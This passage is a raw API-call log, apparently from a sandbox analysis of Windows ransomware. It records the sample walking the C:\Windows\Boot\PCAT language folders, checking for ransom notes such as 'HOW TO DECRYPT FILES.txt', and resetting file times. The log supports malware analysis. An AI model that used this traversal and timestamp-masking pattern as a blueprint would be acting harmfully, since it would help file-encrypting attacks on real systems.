[0125.190] CloseHandle (hObject=0xffffffff) returned 0 [0125.190] lstrcmpA (lpString1=".", lpString2="de-DE") returned -1 [0125.191] lstrcmpA (lpString1="..", lpString2="de-DE") returned -1 [0125.191] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\*.*") returned="*.*" [0125.191] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\de-DE\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1e45a8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1e45a8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1e45a8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.191] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.191] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.191] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.191] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.191] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.191] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.191] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0125.192] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\de-DE\\*.*") returned="*.*" [0125.192] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\de-DE\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\de-DE\\") returned="C:\\Windows\\Boot\\PCAT\\de-DE\\" [0125.192] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\de-DE\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\de-DE\\") returned="" [0125.192] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.192] CloseHandle (hObject=0xffffffff) returned 0 [0125.193] lstrcmpA (lpString1=".", lpString2="el-GR") returned -1 [0125.193] lstrcmpA (lpString1="..", lpString2="el-GR") returned -1 [0125.193] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\*.*") returned="*.*" [0125.194] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\el-GR\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1e45a8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1e45a8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1e45a8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.196] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.196] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.196] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.197] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.197] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.197] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.197] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0125.197] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\el-GR\\*.*") returned="*.*" [0125.197] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\el-GR\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\el-GR\\") returned="C:\\Windows\\Boot\\PCAT\\el-GR\\" [0125.197] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\el-GR\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\el-GR\\") returned="" [0125.197] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.197] CloseHandle (hObject=0xffffffff) returned 0 [0125.197] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0125.198] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0125.198] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\*.*") returned="*.*" [0125.198] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1e45a8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.198] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.198] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.198] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.198] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.198] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.199] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.199] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0125.199] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\en-US\\*.*") returned="*.*" [0125.199] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\en-US\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\en-US\\") returned="C:\\Windows\\Boot\\PCAT\\en-US\\" [0125.199] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\en-US\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\en-US\\") returned="" [0125.199] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.199] CloseHandle (hObject=0xffffffff) returned 0 [0125.199] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.199] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="memtest.exe.mui") returned -1 [0125.199] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="memtest.exe.mui") returned -1 [0125.199] lstrcmpiA (lpString1="", lpString2="memtest.exe.mui") returned -1 [0125.199] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\en-US\\bootmgr.exe.mui") returned="bootmgr.exe.mui" [0125.199] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\en-US\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\en-US\\") returned="C:\\Windows\\Boot\\PCAT\\en-US\\" [0125.199] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\en-US\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\en-US\\") returned="" [0125.200] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.200] CloseHandle (hObject=0xffffffff) returned 0 [0125.200] lstrcmpA (lpString1=".", lpString2="es-ES") returned -1 [0125.200] lstrcmpA (lpString1="..", lpString2="es-ES") returned -1 [0125.200] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\*.*") returned="*.*" [0125.200] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\es-ES\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1e45a8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1e45a8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1e45a8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.200] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.201] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.201] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.201] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.201] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.201] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.201] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0125.201] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\es-ES\\*.*") returned="*.*" [0125.201] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\es-ES\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\es-ES\\") returned="C:\\Windows\\Boot\\PCAT\\es-ES\\" [0125.201] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\es-ES\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\es-ES\\") returned="" [0125.201] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.201] CloseHandle (hObject=0xffffffff) returned 0 [0125.202] lstrcmpA (lpString1=".", lpString2="fi-FI") returned -1 [0125.202] lstrcmpA (lpString1="..", lpString2="fi-FI") returned -1 [0125.202] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\*.*") returned="*.*" [0125.202] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\fi-FI\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2569b6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe27cb10, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe27cb10, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.202] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.202] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.202] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.202] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.203] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.203] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.203] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0125.203] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\fi-FI\\*.*") returned="*.*" [0125.203] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\fi-FI\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\fi-FI\\") returned="C:\\Windows\\Boot\\PCAT\\fi-FI\\" [0125.203] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\fi-FI\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\fi-FI\\") returned="" [0125.203] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.203] CloseHandle (hObject=0xffffffff) returned 0 [0125.203] lstrcmpA (lpString1=".", lpString2="fr-FR") returned -1 [0125.203] lstrcmpA (lpString1="..", lpString2="fr-FR") returned -1 [0125.203] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\*.*") returned="*.*" [0125.204] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\fr-FR\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe27cb10, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe27cb10, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe27cb10, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.216] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.216] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.216] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.216] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.216] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.216] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.216] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0125.216] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\fr-FR\\*.*") returned="*.*" [0125.216] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\fr-FR\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\fr-FR\\") returned="C:\\Windows\\Boot\\PCAT\\fr-FR\\" [0125.217] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\fr-FR\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\fr-FR\\") returned="" [0125.217] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.217] CloseHandle (hObject=0xffffffff) returned 0 [0125.217] lstrcmpA (lpString1=".", lpString2="hu-HU") returned -1 [0125.217] lstrcmpA (lpString1="..", lpString2="hu-HU") returned -1 [0125.217] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\*.*") returned="*.*" [0125.217] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\hu-HU\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe27cb10, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe27cb10, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe27cb10, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.218] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.218] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.218] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.218] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.218] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.218] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.218] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0125.218] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\hu-HU\\*.*") returned="*.*" [0125.218] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\hu-HU\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\hu-HU\\") returned="C:\\Windows\\Boot\\PCAT\\hu-HU\\" [0125.218] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\hu-HU\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\hu-HU\\") returned="" [0125.219] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.219] CloseHandle (hObject=0xffffffff) returned 0 [0125.219] lstrcmpA (lpString1=".", lpString2="it-IT") returned -1 [0125.219] lstrcmpA (lpString1="..", lpString2="it-IT") returned -1 [0125.219] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\*.*") returned="*.*" [0125.219] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\it-IT\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe27cb10, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe27cb10, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe27cb10, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.220] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.220] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.220] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.220] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.220] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.220] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.220] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0125.220] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\it-IT\\*.*") returned="*.*" [0125.220] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\it-IT\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\it-IT\\") returned="C:\\Windows\\Boot\\PCAT\\it-IT\\" [0125.220] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\it-IT\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\it-IT\\") returned="" [0125.220] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.221] CloseHandle (hObject=0xffffffff) returned 0 [0125.221] lstrcmpA (lpString1=".", lpString2="ja-JP") returned -1 [0125.221] lstrcmpA (lpString1="..", lpString2="ja-JP") returned -1 [0125.221] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\*.*") returned="*.*" [0125.221] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\ja-JP\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe27cb10, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe27cb10, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe27cb10, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.221] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.221] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.222] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.222] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.222] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.222] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.222] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0125.222] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\ja-JP\\*.*") returned="*.*" [0125.222] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\ja-JP\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\ja-JP\\") returned="C:\\Windows\\Boot\\PCAT\\ja-JP\\" [0125.222] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\ja-JP\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\ja-JP\\") returned="" [0125.222] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.222] CloseHandle (hObject=0xffffffff) returned 0 [0125.223] lstrcmpA (lpString1=".", lpString2="ko-KR") returned -1 [0125.223] lstrcmpA (lpString1="..", lpString2="ko-KR") returned -1 [0125.223] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\*.*") returned="*.*" [0125.223] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\ko-KR\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe27cb10, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.225] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.226] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.226] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.226] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.226] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.226] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.226] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0125.226] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\ko-KR\\*.*") returned="*.*" [0125.226] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\ko-KR\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\ko-KR\\") returned="C:\\Windows\\Boot\\PCAT\\ko-KR\\" [0125.226] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\ko-KR\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\ko-KR\\") returned="" [0125.226] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.226] CloseHandle (hObject=0xffffffff) returned 0 [0125.227] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0125.227] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="memtest.exe") returned -1 [0125.227] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="memtest.exe") returned -1 [0125.227] lstrcmpiA (lpString1="", lpString2="memtest.exe") returned -1 [0125.227] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\*.*") returned="*.*" [0125.227] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\") returned="C:\\Windows\\Boot\\PCAT\\" [0125.227] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\") returned="" [0125.227] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.227] CloseHandle (hObject=0xffffffff) returned 0 [0125.228] lstrcmpA (lpString1=".", lpString2="nb-NO") returned -1 [0125.228] lstrcmpA (lpString1="..", lpString2="nb-NO") returned -1 [0125.228] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\memtest.exe") returned="memtest.exe" [0125.228] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\PCAT\\nb-NO\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2a2c6a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2a2c6a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2a2c6a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x501542, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.228] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.228] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.228] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.229] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.229] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.229] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0125.229] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0125.229] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\PCAT\\nb-NO\\*.*") returned="*.*" [0125.229] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\PCAT\\nb-NO\\" | out: lpString1="C:\\Windows\\Boot\\PCAT\\nb-NO\\") returned="C:\\Windows\\Boot\\PCAT\\nb-NO\\" [0125.229] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\PCAT\\nb-NO\\" | out: pszPath="C:\\Windows\\Boot\\PCAT\\nb-NO\\") returned="" [0125.229] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.229] CloseHandle (hObject=0xffffffff) returned 0 [0125.229] lstrcmpA (lpString1=".", lpString2="nl-NL") returned -1 [0125.229] lstrcmpA (lpString1="..", lpString2="nl-NL") returned -1 [0125.229] PathFindFileNameA 